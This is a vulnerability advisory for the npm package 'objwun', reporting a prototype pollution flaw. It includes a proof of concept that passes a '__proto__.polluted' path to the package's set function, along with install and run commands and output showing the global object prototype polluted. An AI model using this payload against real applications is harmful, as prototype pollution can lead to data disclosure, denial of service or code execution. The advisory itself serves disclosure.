objwun

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

objwun is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { set } = require('objwun')

console.log('Before: ' + {}.polluted)
set({}, '__proto__.polluted', true)
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i objwun # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.